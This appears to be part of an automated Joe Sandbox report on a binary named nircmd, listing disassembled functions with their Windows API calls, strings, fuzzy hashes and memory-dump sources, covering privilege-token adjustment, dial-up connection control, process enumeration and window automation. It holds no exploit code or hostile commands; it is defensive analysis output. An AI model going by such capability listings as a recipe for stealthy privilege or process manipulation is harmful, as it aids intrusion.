Opcode Fuzzy Hash: 8bdf148e4bbfd716d7f5b1712cf604f001df6feec86b55b111edd74c5c46750d
Instruction Fuzzy Hash: 306103F260428486EA27EF26F8857EE3395F7187C8F544021EF564B6B5EB39D586C304

Function 0000000140011D84 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011D9B
LoadLibraryA.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DAD
GetProcAddress.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DC9
FreeLibrary.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DE6
LoadLibraryA.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DFB
GetProcAddress.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011E13
FreeLibrary.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011E2D
LoadLibraryA.KERNEL32 ref: 0000000140011E4F
GetProcAddress.KERNEL32 ref: 0000000140011E67
FreeLibrary.KERNEL32 ref: 0000000140011E90
GetLastError.KERNEL32 ref: 0000000140011E96
CloseHandle.KERNEL32 ref: 0000000140011EA3
GetLastError.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011EAD

Strings

LookupPrivilegeValueA, xrefs: 0000000140011E09
AdjustTokenPrivileges, xrefs: 0000000140011E5D
advapi32.dll, xrefs: 0000000140011DA1, 0000000140011DF4, 0000000140011E38
OpenProcessToken, xrefs: 0000000140011DBF

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc$ErrorLast$CloseCurrentHandleProcess
String ID: AdjustTokenPrivileges$LookupPrivilegeValueA$OpenProcessToken$advapi32.dll
API String ID: 4015073967-4270423970
Opcode ID: 0fb3417205d42720390d8397688da7d31a04927ef3a560848cc2ed21f18e6e3e
Instruction ID: 388c9ae7a87a0a39a04e6146993687fe80c6f17d85724cd09ebae98e0e853602
Opcode Fuzzy Hash: 0fb3417205d42720390d8397688da7d31a04927ef3a560848cc2ed21f18e6e3e
Instruction Fuzzy Hash: A6310131205B4196EB569B96B844BE963B1BB8CBC0F484129BF4E4B775EF3EC149C700

Function 0000000140008DAC Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 131windowstringthreadCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 0000000140008DCC
memset.MSVCRT ref: 0000000140008DF7
GetClassNameA.USER32 ref: 0000000140008E07
strcmp.MSVCRT ref: 0000000140008E19
memset.MSVCRT ref: 0000000140008E55
GetWindowTextA.USER32 ref: 0000000140008E68
memset.MSVCRT ref: 0000000140008EC0
GetWindowThreadProcessId.USER32 ref: 0000000140008ED0
_stricmp.MSVCRT ref: 0000000140008F2E
GetDlgItem.USER32 ref: 0000000140008F50
_stricmp.MSVCRT ref: 0000000140008F71
GetDlgItem.USER32 ref: 0000000140008F91
SendMessageA.USER32 ref: 0000000140008FAE

Strings

settext, xrefs: 0000000140008F67
#32770, xrefs: 0000000140008E0D
click, xrefs: 0000000140008F17

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Windowmemset$Item_stricmp$ClassMessageNameProcessSendTextThreadVisiblestrcmp
String ID: #32770$click$settext
API String ID: 508377637-3905513361
Opcode ID: 2682245596379fb2c8348c94f1e84426a7c1aedd799acd2ccaa3296cd8f5abb4
Instruction ID: 4c187adb369be6ec4c47d4af19de0711901cedbf50dd32c38b924312c24cea1e
Opcode Fuzzy Hash: 2682245596379fb2c8348c94f1e84426a7c1aedd799acd2ccaa3296cd8f5abb4
Instruction Fuzzy Hash: 1F5183B270468187EB26DB26E8513E96352FB9CBC5F444121FF8D4B6A6EB3DC605C700

Function 000000014000718C Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000000140007205
GetProcAddress.KERNEL32 ref: 0000000140007225
GetProcAddress.KERNEL32 ref: 0000000140007240
GetProcAddress.KERNEL32 ref: 000000014000725B
GetProcAddress.KERNEL32 ref: 0000000140007276
GetProcAddress.KERNEL32 ref: 0000000140007291
GetProcAddress.KERNEL32 ref: 00000001400072AC
??3@YAXPEAX@Z.MSVCRT ref: 00000001400072FB

Strings

RasDialA, xrefs: 000000014000729E
rasapi32.dll, xrefs: 00000001400071FE
RasGetConnectStatusA, xrefs: 000000014000724D
RasHangUpA, xrefs: 0000000140007268
RasEnumConnectionsA, xrefs: 0000000140007232
RasGetEntryDialParamsA, xrefs: 0000000140007283
RasSetEntryDialParamsA, xrefs: 000000014000721B

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$??3@LibraryLoad
String ID: RasDialA$RasEnumConnectionsA$RasGetConnectStatusA$RasGetEntryDialParamsA$RasHangUpA$RasSetEntryDialParamsA$rasapi32.dll
API String ID: 3057795744-1206557285
Opcode ID: 8e251ee8d8382435bee67c174f125282a903e4728428e133c78529865585d203
Instruction ID: 7017ebf89f838599755f02ba6e76957890e942502ad09df1f0599e57e5256fc9
Opcode Fuzzy Hash: 8e251ee8d8382435bee67c174f125282a903e4728428e133c78529865585d203
Instruction Fuzzy Hash: 9A4124B2601B9991EA82DB52E948BDA73A8FB897D0F410111FF4C1B370DF39C885C310

Function 0000000140007050 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 60libraryloadersleepCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000000140007087
GetProcAddress.KERNEL32 ref: 00000001400070A7
GetProcAddress.KERNEL32 ref: 00000001400070C2
GetProcAddress.KERNEL32 ref: 00000001400070DD
GetProcAddress.KERNEL32 ref: 00000001400070F8
GetProcAddress.KERNEL32 ref: 0000000140007113
GetProcAddress.KERNEL32 ref: 000000014000712E
Sleep.KERNEL32 ref: 0000000140007160

Strings

RasDialA, xrefs: 0000000140007120
rasapi32.dll, xrefs: 0000000140007080
RasGetConnectStatusA, xrefs: 00000001400070CF
RasHangUpA, xrefs: 00000001400070EA
RasEnumConnectionsA, xrefs: 00000001400070B4
RasGetEntryDialParamsA, xrefs: 0000000140007105
RasSetEntryDialParamsA, xrefs: 000000014000709D

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoadSleep
String ID: RasDialA$RasEnumConnectionsA$RasGetConnectStatusA$RasGetEntryDialParamsA$RasHangUpA$RasSetEntryDialParamsA$rasapi32.dll
API String ID: 4087116157-1206557285
Opcode ID: 39ed4dc4af701b95e17890d0ccf9f1c7d390ea2c3c5e81c01c3f80905f10cf9e
Instruction ID: eddf5262ed154b440d0d40df95280a4afd4eccd91825fed0b94c22a334033d29
Opcode Fuzzy Hash: 39ed4dc4af701b95e17890d0ccf9f1c7d390ea2c3c5e81c01c3f80905f10cf9e
Instruction Fuzzy Hash: 43319FB6601B81A1EB528F26E8847D823B1F789B98F484125EF4D5B3B8DF39C595C324

Function 0000000140012D2C Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00000000,0000000140012E17,?,?,?,?,?,00000000,0000000140011BD2), ref: 0000000140012D43
LoadLibraryA.KERNEL32(?,?,00000000,0000000140012E17,?,?,?,?,?,00000000,0000000140011BD2), ref: 0000000140012D53
GetProcAddress.KERNEL32(?,?,00000000,0000000140012E17,?,?,?,?,?,00000000,0000000140011BD2), ref: 0000000140012D6B
GetProcAddress.KERNEL32(?,?,00000000,0000000140012E17,?,?,?,?,?,00000000,0000000140011BD2), ref: 0000000140012D7F
GetProcAddress.KERNEL32(?,?,00000000,0000000140012E17,?,?,?,?,?,00000000,0000000140011BD2), ref: 0000000140012D93
GetProcAddress.KERNEL32(?,?,00000000,0000000140012E17,?,?,?,?,?,00000000,0000000140011BD2), ref: 0000000140012DA7
GetProcAddress.KERNEL32(?,?,00000000,0000000140012E17,?,?,?,?,?,00000000,0000000140011BD2), ref: 0000000140012DBB
GetProcAddress.KERNEL32(?,?,00000000,0000000140012E17,?,?,?,?,?,00000000,0000000140011BD2), ref: 0000000140012DCF

Strings

RasDialA, xrefs: 0000000140012DC4
rasapi32.dll, xrefs: 0000000140012D4C
RasGetConnectStatusA, xrefs: 0000000140012D88
RasHangUpA, xrefs: 0000000140012D9C
RasEnumConnectionsA, xrefs: 0000000140012D74
RasGetEntryDialParamsA, xrefs: 0000000140012DB0
RasSetEntryDialParamsA, xrefs: 0000000140012D61

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: RasDialA$RasEnumConnectionsA$RasGetConnectStatusA$RasGetEntryDialParamsA$RasHangUpA$RasSetEntryDialParamsA$rasapi32.dll
API String ID: 2449869053-1206557285
Opcode ID: db0cd2b268db60ed2656f3baa68e978ed43c09517179c9b31d1c66964b6447fd
Instruction ID: 11c99d5bd60d13d2488c53c5f2a8604cd3a8dadd4245bf85f2efcb641b15ca1a
Opcode Fuzzy Hash: db0cd2b268db60ed2656f3baa68e978ed43c09517179c9b31d1c66964b6447fd
Instruction Fuzzy Hash: 14216236202F42A2DB029F5AE68479833B5FB8DB90F459126EB5D4B724DF79C5B4C310

Function 00000001400017D4 Relevance: 24.2, APIs: 16, Instructions: 222fileclipboardcomCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32 ref: 0000000140001809

Part of subcall function 00000001400028BC: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,0000000140001841), ref: 00000001400028DF

memset.MSVCRT ref: 0000000140001867
memset.MSVCRT ref: 00000001400018A5
GetClipboardFormatNameA.USER32 ref: 000000014000192B
ReleaseStgMedium.OLE32 ref: 000000014000196F
WriteFile.KERNEL32 ref: 00000001400019E2
GlobalLock.KERNEL32 ref: 0000000140001A54
GlobalSize.KERNEL32 ref: 0000000140001A62
WriteFile.KERNEL32 ref: 0000000140001A86
GlobalUnlock.KERNEL32 ref: 0000000140001A91
memset.MSVCRT ref: 0000000140001AC5
??2@YAPEAX_K@Z.MSVCRT ref: 0000000140001AED
WriteFile.KERNEL32 ref: 0000000140001B5B
??3@YAXPEAX@Z.MSVCRT ref: 0000000140001B64
ReleaseStgMedium.OLE32 ref: 0000000140001B80

Part of subcall function 0000000140001754: GlobalLock.KERNEL32 ref: 000000014000176C
Part of subcall function 0000000140001754: GlobalSize.KERNEL32 ref: 0000000140001776
Part of subcall function 0000000140001754: GlobalUnlock.KERNEL32 ref: 0000000140001782

CloseHandle.KERNEL32 ref: 0000000140001B99

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Global$File$Writememset$ClipboardLockMediumReleaseSizeUnlock$??2@??3@CloseCreateFormatHandleName
String ID:
API String ID: 3751711975-0
Opcode ID: 52fc984b71b7c5728990935a43b2ca37f2e2492a078f9284814b091e588d2386
Instruction ID: ba9ec8fd1e8e063200e9de19a99185466af1d46886b2d076e588849b01c66b0e
Opcode Fuzzy Hash: 52fc984b71b7c5728990935a43b2ca37f2e2492a078f9284814b091e588d2386
Instruction Fuzzy Hash: 02A139B2218A8086DB61DF16F8507DAB7A5F7C8BD4F404516FB8A47AA8DF39C584CB00

Function 0000000140007314 Relevance: 24.1, APIs: 16, Instructions: 98timestringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0000000140007332
memset.MSVCRT ref: 0000000140007345
memcpy.MSVCRT ref: 0000000140007369
atoi.MSVCRT ref: 000000014000737E
memcpy.MSVCRT ref: 0000000140007394
atoi.MSVCRT ref: 00000001400073A3
memcpy.MSVCRT ref: 00000001400073BA
atoi.MSVCRT ref: 00000001400073C9
memcpy.MSVCRT ref: 00000001400073FE
atoi.MSVCRT ref: 000000014000740D
memcpy.MSVCRT ref: 0000000140007428
atoi.MSVCRT ref: 0000000140007437
memcpy.MSVCRT ref: 0000000140007455
atoi.MSVCRT ref: 000000014000746A
SystemTimeToFileTime.KERNEL32 ref: 0000000140007481
LocalFileTimeToFileTime.KERNEL32 ref: 0000000140007492

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: atoimemcpy$Time$File$LocalSystemmemsetstrlen
String ID:
API String ID: 4117804085-0
Opcode ID: da462725357e4bdfb1f588828954582d176e237319002a81bbbd95b006f56a6a
Instruction ID: 8859f3b8b3655294da16c42703e2bc7dc1a8dd1bdbb34d9fc5876246e832f69e
Opcode Fuzzy Hash: da462725357e4bdfb1f588828954582d176e237319002a81bbbd95b006f56a6a
Instruction Fuzzy Hash: 4141967620D780D5EB22EB62E0807DEA761F7897C5F404011FB8D0BAAADB3DC249CB01

Function 0000000140003D78 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 147stringcomCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000140003DB2
strcpy.MSVCRT ref: 0000000140003DC2
strchr.MSVCRT ref: 0000000140003DE3
strlen.MSVCRT ref: 0000000140003DFC
strlen.MSVCRT ref: 0000000140003E0C
strcat.MSVCRT ref: 0000000140003E50
strcpy.MSVCRT ref: 0000000140003E6A
strrchr.MSVCRT ref: 0000000140003E79
strcpy.MSVCRT ref: 0000000140003E8E
CoCreateInstance.OLE32 ref: 0000000140003EB4
MultiByteToWideChar.KERNEL32 ref: 0000000140003FAF

Strings

<>:"/\|, xrefs: 0000000140003DDC
.lnk, xrefs: 0000000140003E41

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: strcpy$strlen$ByteCharCreateInstanceMultiWidememsetstrcatstrchrstrrchr
String ID: .lnk$<>:"/\|
API String ID: 2318563685-1888144795
Opcode ID: 970936776725169fdba244dcfad54597f546e7c50d3649a837125981b00b2ab1
Instruction ID: dc9d8ef004ac800ac9cdda0b991b08ab259dff8921d9ab1a1eb53d3560bc22b0
Opcode Fuzzy Hash: 970936776725169fdba244dcfad54597f546e7c50d3649a837125981b00b2ab1
Instruction Fuzzy Hash: BD71F976308BC5C5EB22DB16E4847DEA765F788B85F444112EB8D4BBA9DF39C509CB00

Function 00000001400030E8 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 63COMMON

Download Yara Rule

APIs

_stricmp.MSVCRT ref: 0000000140003115

Strings

yes, xrefs: 00000001400030EE
ignore, xrefs: 0000000140003179
close, xrefs: 0000000140003193
help, xrefs: 00000001400031AD
cancel, xrefs: 0000000140003145
retry, xrefs: 000000014000315F

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp
String ID: cancel$close$help$ignore$retry$yes
API String ID: 2884411883-4066124357
Opcode ID: 3c9c970f448a4c580d13b02920847eadcac2473460b08e1e3c12ac12947557f3
Instruction ID: 2ec3a52d834c5b523d035b26f6665a95e31256c2fd588c5abc4ebeb21de43a22
Opcode Fuzzy Hash: 3c9c970f448a4c580d13b02920847eadcac2473460b08e1e3c12ac12947557f3
Instruction Fuzzy Hash: 7921F6B4354702C5FA27EA27BC413E9535A5B4D3C5F486021BF068F2F6FA7AC5818301

Function 0000000140012040 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,0000000140012140,?,?,?,?,00000001400084AB), ref: 000000014001205A
GetProcAddress.KERNEL32(?,?,?,0000000140012140,?,?,?,?,00000001400084AB), ref: 0000000140012076
GetProcAddress.KERNEL32(?,?,?,0000000140012140,?,?,?,?,00000001400084AB), ref: 0000000140012096
GetProcAddress.KERNEL32(?,?,?,0000000140012140,?,?,?,?,00000001400084AB), ref: 00000001400120B2
GetProcAddress.KERNEL32(?,?,?,0000000140012140,?,?,?,?,00000001400084AB), ref: 00000001400120CE
GetProcAddress.KERNEL32(?,?,?,0000000140012140,?,?,?,?,00000001400084AB), ref: 00000001400120EA
FreeLibrary.KERNEL32(?,?,?,0000000140012140,?,?,?,?,00000001400084AB), ref: 000000014001211D

Strings

GetModuleInformation, xrefs: 00000001400120E0
GetModuleBaseNameA, xrefs: 000000014001206C
EnumProcesses, xrefs: 00000001400120C4
EnumProcessModules, xrefs: 000000014001208C
GetModuleFileNameExA, xrefs: 00000001400120A8
psapi.dll, xrefs: 0000000140012053

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameA$GetModuleFileNameExA$GetModuleInformation$psapi.dll
API String ID: 2449869053-232097475
Opcode ID: 08c3d4e552a6442ad28176371f79392d4ee4015d9993019f13f3d784adb150e1
Instruction ID: 6dd8e4817c81e0b4b3fc763721bd7f8e6ff1ef5ec4283412c3ba56c12f54b96f
Opcode Fuzzy Hash: 08c3d4e552a6442ad28176371f79392d4ee4015d9993019f13f3d784adb150e1
Instruction Fuzzy Hash: 6A21C370612B01A6FE4BDB17B8507A033F0AB5DBC1F485129AB0E0B370EF7E94658310

Function 0000000140011F54 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,0000000140012147,?,?,?,?,00000001400084AB), ref: 0000000140011F6E
GetProcAddress.KERNEL32(?,?,?,0000000140012147,?,?,?,?,00000001400084AB), ref: 0000000140011F8A
GetProcAddress.KERNEL32(?,?,?,0000000140012147,?,?,?,?,00000001400084AB), ref: 0000000140011FAA
GetProcAddress.KERNEL32(?,?,?,0000000140012147,?,?,?,?,00000001400084AB), ref: 0000000140011FC6
GetProcAddress.KERNEL32(?,?,?,0000000140012147,?,?,?,?,00000001400084AB), ref: 0000000140011FE2
GetProcAddress.KERNEL32(?,?,?,0000000140012147,?,?,?,?,00000001400084AB), ref: 0000000140011FFE
FreeLibrary.KERNEL32(?,?,?,0000000140012147,?,?,?,?,00000001400084AB), ref: 0000000140012031

Strings

Module32Next, xrefs: 0000000140011FBC
Module32First, xrefs: 0000000140011FA0
kernel32.dll, xrefs: 0000000140011F67
Process32First, xrefs: 0000000140011FD8
Process32Next, xrefs: 0000000140011FF4
CreateToolhelp32Snapshot, xrefs: 0000000140011F80

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 2449869053-3953557276
Opcode ID: 63b30c4b29be939eddd5fa9c3c8d9650fc8e3124ff7eda80945b079c07d3fd97
Instruction ID: 068a0fc88150a5e520bd93caf9b34e123a9050d06f53a34bc43eac8b13776a9e
Opcode Fuzzy Hash: 63b30c4b29be939eddd5fa9c3c8d9650fc8e3124ff7eda80945b079c07d3fd97
Instruction Fuzzy Hash: CC217070202B4196FA5B9B17BC547E433F1AB4DBC1F49512AAA1E4B3B1EF3E9598C310

Function 000000014000A88C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130threadCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000000014000A8AE
_stricmp.MSVCRT ref: 000000014000A8BE
MultiByteToWideChar.KERNEL32 ref: 000000014000A8FB

Part of subcall function 0000000140014BE8: _wcsicmp.MSVCRT ref: 0000000140014C3F

_stricmp.MSVCRT ref: 000000014000A942
_stricmp.MSVCRT ref: 000000014000A959
GetForegroundWindow.USER32 ref: 000000014000A973
GetWindowThreadProcessId.USER32 ref: 000000014000A986
GetForegroundWindow.USER32 ref: 000000014000A9C9
GetWindowThreadProcessId.USER32 ref: 000000014000A9E7
EnumChildWindows.USER32 ref: 000000014000A9FC

Strings

systemsounds, xrefs: 000000014000A949
focused, xrefs: 000000014000A938

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Window$_stricmp$ForegroundProcessThread$ByteCharChildEnumInitializeMultiWideWindows_wcsicmp
String ID: focused$systemsounds
API String ID: 520266979-605464368
Opcode ID: 79da06a4b4acdd8b67ad27682052f22131775b6a05386a1bb1988e57c4f76c03
Instruction ID: 7ac07959541befd2140301f2542d84aad1e62ab218efbd59ce577359199d4a62
Opcode Fuzzy Hash: 79da06a4b4acdd8b67ad27682052f22131775b6a05386a1bb1988e57c4f76c03
Instruction Fuzzy Hash: 055171727047418AEB26EF27A4417E977A1E78EBD0F045129BB494BAB5DF3DC446CB00

Function 0000000140013AE4 Relevance: 21.1, APIs: 1, Strings: 13, Instructions: 61stringCOMMON

Download Yara Rule

APIs

strcpy.MSVCRT(?,?,?,?,0000000140013C7B), ref: 0000000140013BAE

Strings

Common Desktop, xrefs: 0000000140013B92
Favorites, xrefs: 0000000140013B3A
AppData, xrefs: 0000000140013B89
Common Programs, xrefs: 0000000140013BA4
Common Startup, xrefs: 0000000140013B9B
Common AppData, xrefs: 0000000140013B77
Startup, xrefs: 0000000140013B31
Common Start Menu, xrefs: 0000000140013B4C
Programs, xrefs: 0000000140013B43
Start Menu, xrefs: 0000000140013B1C
Cookies, xrefs: 0000000140013B80
Desktop, xrefs: 0000000140013B10
Recent, xrefs: 0000000140013B28

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: strcpy
String ID: AppData$Common AppData$Common Desktop$Common Programs$Common Start Menu$Common Startup$Cookies$Desktop$Favorites$Programs$Recent$Start Menu$Startup
API String ID: 3177657795-3872221218
Opcode ID: fb3b05fd8f3e7e8e7cdab919e7fed8784cbb5d3d79be58f416e30767c40063f9
Instruction ID: f407cc9461aafd8cff545b46b6da7d72e1c59fa41a6d437e480483cba0a7b802
Opcode Fuzzy Hash: fb3b05fd8f3e7e8e7cdab919e7fed8784cbb5d3d79be58f416e30767c40063f9
Instruction Fuzzy Hash: 0821AC7110C94090F56FD65FA9D83F42662A30E3D0FD55545F3960F9F9B77B8A45D200

Function 0000000140007C30 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 48COMMON

Download Yara Rule

APIs

_stricmp.MSVCRT ref: 0000000140007C43
_stricmp.MSVCRT ref: 0000000140007C60

Strings

high, xrefs: 0000000140007CA4
belownormal, xrefs: 0000000140007C70
realtime, xrefs: 0000000140007CBE
abovenormal, xrefs: 0000000140007C8A
normal, xrefs: 0000000140007C39
low, xrefs: 0000000140007C56

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp
String ID: abovenormal$belownormal$high$low$normal$realtime
API String ID: 2884411883-958970173
